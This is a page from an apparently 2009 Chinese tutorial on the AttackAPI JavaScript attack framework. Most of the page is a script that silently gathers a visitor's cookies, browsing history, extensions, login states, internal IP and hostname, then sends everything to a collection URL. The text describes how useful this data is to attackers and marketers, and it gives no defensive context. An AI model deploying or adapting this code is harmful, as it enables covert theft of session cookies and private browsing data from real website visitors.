WEB开发网
开发学院网络安全安全技术 精通JavaScript攻击框架:AttackAPI(上) 阅读

精通JavaScript攻击框架:AttackAPI(上)

 2009-02-13 13:55:19 来源:WEB开发网   
核心提示: 这段代码最终通过利用AttackAPI进行全面的客户端调,其中scanStates、scanHistory和scanextensions函数都需要一个回调参数(即onfound事件)来返回结果,精通JavaScript攻击框架:AttackAPI(上)(8),这一点需要注意,记住,而且对攻

这段代码最终通过利用AttackAPI进行全面的客户端调。其中scanStates、scanHistory和scanextensions函数都需要一个回调参数(即onfound事件)来返回结果,这一点需要注意。记住,JavaScript程序不是线性的。为此,我们必须等待这些函数结束,然后继续正常的程序执行路径。

这个任务可以通过window.setInterval函数帮我们完成。setInterval函数被配置成检查每秒完成的变量的数量。当这个数量达到3时,将收集到的信息显示在屏幕上。

当攻击者检索这个信息时,他可能想要将该信息从客户端输送到某个存储点以便做进一步的调查。考虑一下,当我们分析某个读者属于哪个用户组时这些信息是多么的有用!这个信息不仅对市场营销非常有用,而且对攻击者的统计工具也是很有价值的。

取得客户端到服务器的日期也是一个挑战,不过AttackAPI利用一个单一的函数解决了所有浏览器兼容模式。下面看看我们是如何改写客户端调查代码的:

var data = {
agent: $A.getAgent(),
platform: $A.getPlatform(),
cookies: $A.buildQuery($A.getCookies() ),
plugins: $A.getPlugins().join(‘,’),
ip: $A.getInternalIP(),
hostname: $A.getInternalHostname(),
extensions: [],
states: [],
history: []};
var completed = 0;
$A.scanExtensions({
onfound: function (signature) {
data.extensions.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanStates({
onfound: function (signature) {
data.states.push(signature.name);
},
oncomplete: function () {
completed += 1;
}
});
$A.scanHistory({
onfound: function (url) {
data.history.push(url);
},
oncomplete: function () {
completed += 1;
}
});
var tmr = window.setInterval(function () {
if (completed < 3)
return;
data.extensions = data.extensions.join(‘,’);
data.states = data.states.join(‘,’);
data.history = data.history.join(‘,’);
$A.transport({url: ‘http://localhost:8888/collect’, query: data});
window.clearInterval(tmr);
}, 1000);

上一页  3 4 5 6 7 8 9  下一页

Tags:精通 JavaScript 攻击

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接